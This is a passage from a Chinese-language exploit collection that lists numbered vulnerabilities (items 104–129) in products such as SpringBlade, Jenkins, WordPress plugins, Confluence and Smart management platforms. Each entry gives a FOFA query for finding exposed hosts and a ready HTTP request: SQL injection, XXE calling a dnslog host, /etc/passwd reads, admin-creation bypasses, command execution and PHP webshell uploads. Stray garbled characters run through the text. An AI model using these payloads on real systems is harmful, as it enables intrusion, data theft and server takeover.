其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
& r3 |- `7 K6 ?8 e4 F<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
! H5 e' s0 n4 f/ kCVE-2024-0569
( Z/ {; e  ]0 D* ]7 ]. rFOFA：title="TOTOLINK"
- z* c( E4 T' [" ePOST /cgi-bin/cstecgi.cgi HTTP/1.1
. Y, O8 v, z" vHost:192.168.0.1
4 Z& b4 l3 \& h% i3 K+ qContent-Length:41
4 a( Z' u9 N- C  P5 M/ o* T4 N; N: GAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
" p! p1 K7 [0 b/ {User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
* r6 p: O' o) ~( _+ N- TReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

( f& Z) }( b9 w! S6 |3 p4 F{
1 T0 l$ ^+ ?! R3 ~: J7 O$ `+ t( q  Y"topicurl":"getSysStatusCfg",
"token":""
. T1 g; G- J  v! D, I}
) X& |3 `" m- z' a# U  o/ F; W& f
6 ]8 l& Q. ^+ p- _8 j5 O105. SpringBlade v3.2.0 export-user SQL 注入
) r$ o/ X9 z4 G0 A, C4 XFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
: v) O1 ?, N; yGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ }  ^. K+ }7 u/ k# xHost: your-ip
. C$ d7 h! w) H$ A4 }2 b8 Z: YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 a' U$ L) D1 X# ?8 wBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
+ Q, q* t& A, ]: ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


( v( i$ f. {) u107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
1 T* n9 ^* [( @/ {6 f% |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
6 P) l7 ]+ n6 vCVE-2024-21642
9 w; Y" O3 d# v& hFOFA："dtale/static/images/favicon.png"
8 w( n" i9 G4 ?/ K5 X3 z. sGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
, ?% t$ e. V  nAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
9 {' [! z. S) ^! A$ j) `4 c$ F5 Y' hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  [" q* r$ o) I. C( n8 [$ Z4 {& k- TConnection: close
% }1 G- h9 f* u9 k

109. Jenkins CLI 任意文件读取
- E6 k8 R$ s0 p  BCVE-2024-23897
4 x) \& }( L2 j; n' ^% vFOFA：header="X-Jenkins"
# L$ Y# B$ I, c+ `" CPOST /cli?remoting=false HTTP/1.1
# q& [7 H0 i1 ]6 l4 ZHost:
; ?* M; ^' {. B* MContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; e  ^9 W: d! ?! Udownload
' j! J7 S7 d' j% FContent-Type: application/x-www-form-urlencoded
Content-Length: 0
4 W) ~. A3 C$ e& G) T# ]
5 N6 s% f6 \% m5 x2 o/ p' o
; r- p: H: E. L. n, MERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 S  q" ?6 G8 L" |  Q" V; f5 v- Djava -jar jenkins-cli.jar help
[COMMAND]
* f- K* h; j" ]. k" l  vLists all the available commands or a detailed description of single command.
/ v, x' ~9 P, ]2 O COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
3 _2 }4 k5 \6 \' DHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
& f# l% Q; `0 ~* t% v7 aConnection: close
9 p8 z3 \* N6 [' M2 |- w2 ZAccept: */*
3 K0 `7 Y; ~) `Accept-Language: en
Accept-Encoding: gzip

+ N/ @  i2 F4 ]! X  D; ?
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
  t& Z3 J/ S( w, Q$ T$ vAccept-Language: en
) k" T' l( X$ N4 VAccept-Encoding: gzip

. `7 C, N7 W8 o- Z3 n$ d4 R2 E
112. WordPress Plugin NotificationX SQL 注入
2 v$ O6 a; u5 q$ k, ?CVE-2024-1698
& Z) I4 ?6 `" ^" E/ J: l8 P' b1 fFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

4 Y4 Q7 u9 G' @" o* Q2 O& E6 M; r
113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
% w: M1 K/ H0 ^; P1 |GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
+ _3 g+ {6 j0 }; u, l1 ^User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
4 r! t1 a( s- O) J9 qAccept: */*
Accept-Language: en
1 ^0 l% ~" a0 R2 C  p: `' @1 z9 wAccept-Encoding: gzip

. V) `6 z( v% T' }
' [! T# v( `: A- ~114. WordPress MasterStudy LMS插件 SQL注入
) L* m  h+ z1 A  V1 \! p* OFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
# V8 w6 w+ L. _2 a  J  vHost: your-ip
! t0 t7 P4 J( ]# GUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 `$ G, C9 x# x% w# e. VAccept-Charset: utf-8
# |0 @3 D3 k, pAccept-Encoding: gzip, deflate
- @8 c5 ~  \7 q9 U! l: k! R- dConnection: close
+ `1 h8 [* l1 U' b8 `6 Q

115. WordPress Bricks Builder <= 1.9.6 RCE
5 \6 e6 o4 K) aCVE-2024-25600
% V; A# A' s+ C, Z% XFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
0 v, S8 y, k- l* L$ L3 A* D; AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
8 d! l6 m9 G* ~1 fPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
1 V, Q" j4 D3 {4 H, b& KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
1 I: [" d4 X# X# [Content-Length: 356
Content-Type: application/json
" i5 M9 X3 I2 O& g2 W; TAccept-Encoding: gzip

: x( D/ h9 U1 S1 j. x: X{
. s" ^! B4 d* i3 q"postId": "1",
  "nonce": "第一步获得的值",
, A- X0 d+ c/ b/ i) F) U3 P; U  "element": {
    "name": "container",
0 u: [7 h  O& ?5 K) \. w* I    "settings": {
      "hasLoop": "true",
- X, C0 p" @+ _, Y2 ?  F1 I, W      "query": {
        "useQueryEditor": true,
: d: f. `$ ~2 N3 g$ g- e        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
2 ^) l6 y  V0 z7 ~        "objectType": "post"
) ~) p' f) T. H, V      }
    }
) i3 B  L7 U3 Y6 j* s1 q- P  }
}
3 N& h0 q) Q! i8 f/ _
: W7 `9 T. y. o  B8 E
. Q: _' U: L/ y7 I8 r- Z116. wordpress js-support-ticket文件上传
1 `$ y2 ?# H) U5 B1 {FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
! d& _* j" q. T2 KUser-Agent: Mozilla/5.0
/ Z$ N: Y: T& x$ Y+ N
& \3 }8 p4 v6 O0 c! F----------767099171
: j1 K1 m2 R# u. X' V) t' u: u3 tContent-Disposition: form-data; name="action"
configuration_saveconfiguration
/ Z* y% F. g0 ]8 X2 ~! z$ y----------767099171
3 i7 A/ |" {) \, k2 C2 H- J) ]; K7 MContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
/ S7 B: V* T: d' M* pContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
+ e3 ?9 D8 }+ k$ [' X9 gContent-Type: image/png
& n5 ~6 p8 @' [; ~$ L. a- J9 g----------767099171--

5 d0 c0 `: U; j
- U1 O  X" T! c1 C117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
) `  n: }: G. s- D1 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ q) }4 i9 K' O) _& s4 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ k3 d, U  A& i* vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) o  J/ B" K, }8 j7 r! Q3 M0 FAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
3 L  I: b6 z' g4 V
4 e: H+ e3 ^3 l3 T3 h: Y  w/ W
( ^& W4 V( }6 ~118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
/ {: }& W; y3 S" ]Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
, s4 P3 l& J% `+ R) x+ dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 Y: ]4 ^' m2 \$ H% BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 g/ F% F  [6 @" ]$ xAccept-Encoding: gzip, deflate
6 o; K& \. z/ @; iContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
' {' K" u& [7 s) _. C0 WOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
" G5 Y( m, L3 i. T& m, JUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
; ^* t1 _4 ~  M4 EConnection: close

-----------------------------13979701222747646634037182887
. T1 R0 @& d; A$ c# m/ @Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
2 D, R! ?& p5 W  \* ~; a
<?php
. r' `( ]' s5 D, B" ~" h# i6 V' E6 J5 _system($_POST["passwd"]);
?>
! J3 F2 c% Q% p8 k-----------------------------13979701222747646634037182887
$ P/ }9 N$ O( S1 g, MContent-Disposition: form-data; name="txt_path"

1 s. M# ?7 j6 H0 X! K: q: Z  N/home/src.php
) }% `7 Q/ z% J' u# E-----------------------------13979701222747646634037182887--

! ?6 i8 |8 y$ u6 y$ i
% y2 m! K$ A7 v5 p0 b访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
- S8 h, u/ s0 _CVE-2024-1254
FOFA：title="Smart管理平台"
4 i; _, o/ j! d9 [) q; |7 i" i- v+ R8 i+ {先登录进入系统，默认账号密码为admin/admin
" J- y. H. `) p, N! R: KPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
; v" d* g& \( S3 j& }9 F) o, N" WAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- f' j/ [- ^- l7 m5 G4 D: FAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
1 x- {: w* A4 D$ R: L7 g- XContent-Length: 109
Origin: https://58.18.133.60:8443
1 V6 F  {' z3 u. n3 FReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
/ J( H- L0 [/ S+ Y* nSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
% g8 J5 v- b: C5 j5 eSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
9 h) w  G1 y% p& t  [9 w7 O( a" ^X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
8 A) p% R" n0 k3 [2 D* x
3 v  E: \% p  Dsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

! a( j9 B5 F. F5 l- t
- n- y+ l" r6 h8 L2 ~120. 北京百绰智能S40管理平台导入web.php任意文件上传
) h  L  I- J- U( w$ H) F( f2 ^CVE-2024-1253
) ~3 h* o6 x! F6 h9 C5 V$ MFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
8 i' q! f: }3 |& {0 U3 S. g; w$ HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
  }/ Q+ J2 d4 U  u. V! J0 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
& r9 x' j% _/ V* _Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
* O+ D. i& Z$ Y0 k/ BSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
3 v8 r+ j: m) h1 LConnection: close

5 y  s7 e6 z( v( m-----------------------------42328904123665875270630079328
  `3 |8 h# m' k2 qContent-Disposition: form-data; name="file_upload"; filename="2.php"
* i! t& `5 U* z8 @$ J1 d- HContent-Type: application/octet-stream

( I* I, {! l1 O# j7 m4 \<?php phpinfo()?>
-----------------------------42328904123665875270630079328
& s; {0 k3 F/ l% A! W; I: u* \& i5 UContent-Disposition: form-data; name="id_type"
7 T4 K/ u1 y, R: ^% t
7 H* [2 ^8 m& {1
( c& C& ~4 p/ u8 b9 H-----------------------------42328904123665875270630079328
) I- Y8 P% A% ~% yContent-Disposition: form-data; name="1_ck"

& `8 O/ t0 T; y# b1 ~1_radhttp
" p3 o* t. t' r5 B, W1 r1 ]; o( S-----------------------------42328904123665875270630079328
6 O* L# E* b+ s7 @, X( h9 j% JContent-Disposition: form-data; name="mode"

; ?1 d1 ?2 U- O! F: g" N! mimport
-----------------------------42328904123665875270630079328
% o* a+ E9 Y: E5 L7 K0 D, H

文件路径/upload/2.php
1 p4 N# c3 H! F
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
4 E$ R/ }% l5 |9 f+ }2 aFOFA：title="Smart管理平台"
2 K& L/ C8 S, p' j) f9 d( q/ {POST /useratte/userattestation.php HTTP/1.1
5 C2 F& m: H+ ~. ]8 N, Y, vHost: 192.168.40.130:8443
4 D; `1 p9 M" d0 B( m" W' XCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. M0 R4 N+ `$ ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ Q/ K# v2 |. e' i) hAccept-Encoding: gzip, deflate
' k! a% l/ o, f% U, R4 YContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
, i4 W2 v5 Y# W& hContent-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
  R' r3 S! \0 n3 r( @" PSec-Fetch-Dest: document
' F/ L6 O2 I) {$ g- BSec-Fetch-Mode: navigate
( g' G6 R; R& TSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
: K, L; @6 X( c/ w2 h( ]$ d' C; sTe: trailers
Connection: close

- D% A$ X7 Y$ D8 E/ z) d/ c-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
% O: ]7 O& }' X1 q  h. L, ?Content-Type: application/octet-stream

4 t* x- @0 ]" Z7 s9 [- Z<?php phpinfo();?>
6 J" I; c4 |0 y  L- q" S' _$ G-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
6 J, m% q, E9 Z1 ^-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
, w& Y1 I/ L8 v% F$ K+ k  P8 @' j-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
& d/ Q1 w  C* b5 k& V-----------------------------42328904123665875270630079328
# d2 B0 a& i& ^' v, l
9 |4 Y7 l; A3 L1 I3 F) W9 L
8 R/ _! L8 A, a- g' Hboot/web/upload/weblogo/1.php
7 e2 O. u9 G- Y# e& W' n" w% S
5 Z! `9 n9 c% i  G  c( ~122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
0 Q+ z3 d8 D; M' c' Q1 D( l其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
8 }, U7 w$ V- OHost: x.x.x.x
! @* U, B  Q2 s, H; rCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
/ m, ~; r. X: VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- V' x$ p- b* e( {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
: h6 j( v1 X% j+ p+ V& h5 e! @+ ISec-Fetch-Dest: document
. A  @' K% Q( N+ D4 JSec-Fetch-Mode: navigate
# a# F! i5 J" w' PSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
/ H8 B; y- r7 D: hConnection: close
6 q* [# I  n% ?7 A! Z- W

123. Atlassian Confluence 模板注入代码执行
7 x1 Y% D* d6 j5 |4 b! p2 FFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
; {: N3 W! Q: U% ~+ T4 K, j( j. fPOST /template/aui/text-inline.vm HTTP/1.1
7 t" h; p- T" A; P+ k+ Q3 AHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
+ T$ Q$ ^4 i# g8 x- E2 S+ C. M6 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
" x5 F2 w2 X; f7 f- q% {+ d2 p
5 p4 j+ G0 S, t, @
; t  G5 ?& M( A7 n" a+ ~124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
! `( i5 z0 Y/ u; SPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
' I+ E5 L5 D( |$ `) y' YUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
# O: Q2 L" ]. J0 O0 c: |' g% \Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, e! ?$ B) P6 h# u# WConnection: close
4 d" A* i$ a5 r$ ]8 [9 z) VContent-Type: application/x-www-form-urlencoded
4 F$ A# I0 X9 `8 B
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


6 b4 C5 G; \) M5 jhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
5 |+ ~1 e7 B& K% ~. G) G* c
125. ConnectWise ScreenConnect身份验证绕过
% Y5 R2 r& `& _CVE-2024-1709
FOFA：icon_hash="-82958153"
& |! s3 B2 ~$ c7 m  Bhttps://github.com/watchtowrlabs ... bypass-add-user-poc
8 x6 n5 o, Y0 l. Q* c- {0 z
7 k" K' q; A' q0 P( |+ `
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

/ y3 k( a$ E: n2 K, o, G
1 h% Q' B: {. b( c7 K2 P3 k- B1 `/ e" s创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
- I/ M2 S/ f' R( l/ [) P$ wFOFA：title=="ComfyUI"
9 ?2 z9 r) r4 m6 s8 q% a' {+ |0 bGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
% ^5 [$ K* e: V: M8 C3 y+ [' }  qAccept: */*
Accept-Language: en
Accept-Encoding: gzip
7 Y3 e8 q5 B: L9 j% I8 c6 H* t. l
3 T% ^& a/ l- I3 S
127. 广联达Linkworks DataExchange.ashx XXE
/ N/ I1 I3 T0 F! O0 ^FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
' R+ t0 X$ j6 X5 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: j' W( Y' z( X) r/ @& E" {4 `' y5 o7 nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 x% J8 g  H% i+ l$ `& @Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
+ }% V) D. N  {Purpose: prefetch
Sec-Purpose: prefetch;prerender
7 U8 w# ^: n, [6 ]
% M4 z: e& |  }: C1 J------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
: h. [! |1 A6 L4 g# w3 W
5 B* u, v4 O: g2 h( Z  HBIM
, t. u, j3 C* D9 x  \; g------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
+ z% w$ [# w- d' n- Z# H
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
8 \9 q7 ^6 D/ k8 Q<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
& W7 G) O$ L1 y+ h  r]
1 W6 e( U$ M" O+ v1 s" \>
<test>&t;</test>
0 ?. R. i: V6 x- S6 b/ t0 O------WebKitFormBoundaryJGgV5l5ta05yAIe0--

& {8 q8 ]6 ]9 n9 B( d

* d) O, y/ ~7 |( n( [; x! d128. Adobe ColdFusion 反序列化
& p' @* B$ l, A' kCVE-2023-38203
0 @0 e* ]. }: W; EAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
6 O7 t  n& G, g: v; iFOFA：app="Adobe-ColdFusion"
" W/ I& g* \, ]PAYLOAD

, k5 r3 X# w5 l- q4 u5 q6 M129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
9 H' c& Z) a% rFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


# t9 W8 G: k; U第二步，读取/etc/passwd文件
1 I& H. N8 c# [/ ?, i  d, OGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
% A* a. l8 {  V" R. M, c2 gHost: x.x.x.x
! ~' ?" `6 \# R, V# AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ _$ b5 |5 B9 P6 |* y5 D6 A6 jAccept: */*
Accept-Encoding: gzip, deflate
